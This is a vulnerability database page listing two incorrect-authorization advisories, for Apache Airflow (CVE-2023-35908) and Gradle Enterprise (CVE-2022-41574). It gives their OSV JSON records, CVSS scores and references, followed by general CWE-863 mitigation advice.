Vulnerability from github – Published: 2023-07-12 12:31 – Updated: 2024-11-18 16:26
VLAI
Summary
Apache Airflow Incorrect Authorization vulnerability
Details

Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows unauthorized read access to a DAG through the URL. It is recommended to upgrade to a version that is not affected

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-35908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-12T17:30:21Z",
    "nvd_published_at": "2023-07-12T10:15:10Z",
    "severity": "HIGH"
  },
  "details": "Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows unauthorized read access to a DAG through the URL.\u00a0It is recommended to upgrade to a version that is not affected",
  "id": "GHSA-2h84-3crq-vgfj",
  "modified": "2024-11-18T16:26:31Z",
  "published": "2023-07-12T12:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/pull/32014"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/commit/ac65b82eeeeaa670e09a83c7da65cbac7e89f8db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/airflow/commit/c78e16588ee399f6eaf60425eb1ad7fa6d3fe352"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/airflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2023-119.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/vsflptk5dt30vrfggn96nx87d7zr6yvw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache Airflow Incorrect Authorization vulnerability"
}

GHSA-2H8W-GRHW-CQCR

Vulnerability from github – Published: 2022-10-08 00:00 – Updated: 2022-10-11 19:00
VLAI
Details

An access-control vulnerability in Gradle Enterprise 2022.4 through 2022.3.1 allows remote attackers to prevent backups from occurring, and send emails with arbitrary text content to the configured installation-administrator contact address, via HTTP access to an accidentally exposed internal endpoint. This is fixed in 2022.3.2.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-41574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-07T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An access-control vulnerability in Gradle Enterprise 2022.4 through 2022.3.1 allows remote attackers to prevent backups from occurring, and send emails with arbitrary text content to the configured installation-administrator contact address, via HTTP access to an accidentally exposed internal endpoint. This is fixed in 2022.3.2.",
  "id": "GHSA-2h8w-grhw-cqcr",
  "modified": "2022-10-11T19:00:29Z",
  "published": "2022-10-08T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41574"
    },
    {
      "type": "WEB",
      "url": "https://security.gradle.com"
    },
    {
      "type": "WEB",
      "url": "https://security.gradle.com/advisory/2022-12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list